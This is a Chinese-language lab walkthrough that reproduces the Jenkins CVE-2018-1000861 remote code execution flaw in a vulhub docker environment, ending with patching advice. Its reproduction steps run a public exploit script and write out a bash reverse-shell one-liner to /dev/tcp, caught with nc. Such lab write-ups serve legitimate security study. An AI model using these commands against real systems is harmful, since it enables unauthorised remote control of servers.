0x00簡介
Jenkins自動化部署可以解決內建、測試、部署等重複性的工作,工具內建的效率明顯高于人工操作;并且持續內建可以更早的擷取代碼變更的資訊,進而更早的進入測試階段,更早的發現問題,這樣解決問題的成本就會顯著下降:持續內建縮短了從開發、內建、測試、部署各個環節的時間,進而也就縮短了中間出現的等待時間;持續內建也意味着開發、內建、測試、部署得以持續。
0x01漏洞概述
Jenkins使用Stapler架構開發,其允許使用者通過URL PATH來調用一次public方法。由于這個過程沒有做限制,攻擊者可以構造一些特殊的PATH來執行一些敏感的Java方法。通過這個漏洞,可以找到很多可供利用的利用鍊。其中最嚴重的就是繞過Groovy沙盒導緻未授權使用者可執行任意指令:Jenkins在沙盒中執行Groovy前會先檢查腳本是否有錯誤,檢查操作是沒有沙盒的,攻擊者可以通過Meta-Programming的方式,在檢查這個步驟時執行任意指令。
0x02影響範圍
2.153 and earlier
LTS 2.138.3 and earlier
0x03環境搭建
1. 本次實驗靶場使用vulhub中docker搭建,vulhub下載下傳位址:
https://github.com/vulhub/vulhub
2. 然後在虛拟機中安裝docker,以及安裝docker-compose指令,安裝方法請自行百度
3. 下載下傳完成後傳入安裝了虛拟機,然後進入相關漏洞目錄
cd vulhub-master/jenkins/CVE-2018-1000861/
4.使用docker-compose up -d運作漏洞環境
5. 環境啟動後,通路http://your-ip:8080即可看到一個已經成功初始化的Jenkins
0x04漏洞複現
1. 使用一下指令檢視目标的版本
curl -s -I http://your-ip:8080|grep X-Jenkins
2.由于此漏洞是沒有回顯的,這裡使用GitHub上漏exp執行指令。注:也可使用burp抓包執行
exp下載下傳位址:https://github.com/orangetw/awesome-jenkins-rce-2019
下載下傳完成後使用python2執行檢查漏洞python2 exp.py http://your-ip:8080 “curl dnslog ”
3.由于此漏洞沒有回顯,這裡直接反彈shell //注:反彈shell需要base64加密
bash -i >& /dev/tcp/your-ip/port 0>&1
base64加密網址:http://www.jackson-t.ca/runtime-exec-payloads.html
3.1然後在nc上監聽shell的ip和端口,使用exp發送加密後的shell
小結
1. 本次漏洞複現需要使用到docker環境,需要會用docker基本指令
2. 需要使用到linux相關的指令,以及linux反彈shell的文法
0x05修複建議
1.更新到最新版本或打上相關更新檔
2.盡量不要開放到公網上
3.限制IP通路